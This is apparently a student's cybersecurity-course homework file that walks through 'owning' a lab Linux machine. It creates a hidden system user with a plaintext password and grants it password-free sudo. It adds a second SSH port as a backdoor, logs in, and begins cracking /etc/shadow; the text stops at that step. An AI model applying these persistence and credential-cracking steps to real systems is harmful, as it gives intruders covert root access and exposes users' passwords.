## Week 6 Homework Submission File: Advanced Bash - Owning the System

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

\*\*Step 1: Shadow People\*\*

1. Create a secret user named `sysd`. Make sure this user doesn't have a home folder created:

- **useradd sysd**

2. Give your secret user a password:

-**passwd sysd**

-**getmoney**

3. Give your secret user a system UID < 1000:

- **usermod -u 500 sysd**

4. Give your secret user the same GID:

- **groupmod -g 500 sysd**

5. Give your secret user full `sudo` access without the need for a password:

- **nano /etc/sudoers**

**sysd ALL=(ALL) NOPASSWD:ALL**

6. Test that `sudo` access works without your password:

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\*\*Step 2: Smooth Sailing\*\*

1. Edit the `sshd\_config` file:

**# $OpenBSD: sshd\_config,v 1.101 2017/03/14 07:19:07 djm Exp $**

**# This is the sshd server system-wide configuration file. See**

**# sshd\_config(5) for more information.**

**# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin**

**# The strategy used for options in the default sshd\_config shipped with**

**# OpenSSH is to specify options with their default value where**

**# possible, but leave them commented. Uncommented options override the**

**# default value.**

**Port 22**

**Port 2222**

**#AddressFamily any**

**#ListenAddress 0.0.0.0**

**#ListenAddress ::**

**#HostKey /etc/ssh/ssh\_host\_rsa\_key**

**#HostKey /etc/ssh/ssh\_host\_ecdsa\_key**

**#HostKey /etc/ssh/ssh\_host\_ed25519\_key**

\*\*Step 3: Testing Your Configuration Update\*\*

1. Restart the SSH service:

- **sudo service sshd restart**

2. Exit the `root` account:

- **exit**

3. SSH to the target machine using your `sysd` account and port `2222`:

- **ssh sysd@192.168.6.105 -p 2222**

4. Use `sudo` to switch to the root user:

- **sudo su**

\*\*Step 4: Crack All the Passwords\*\*

1. SSH back to the system using your `sysd` account and port `2222`:

- **sysadmin@UbuntuDesktop:~$** **ssh sysd@192.168.6.105 -p 2222**

2. Escalate your privileges to the `root` user. Use John to crack the entire `/etc/shadow` file:

- **sudo -s**

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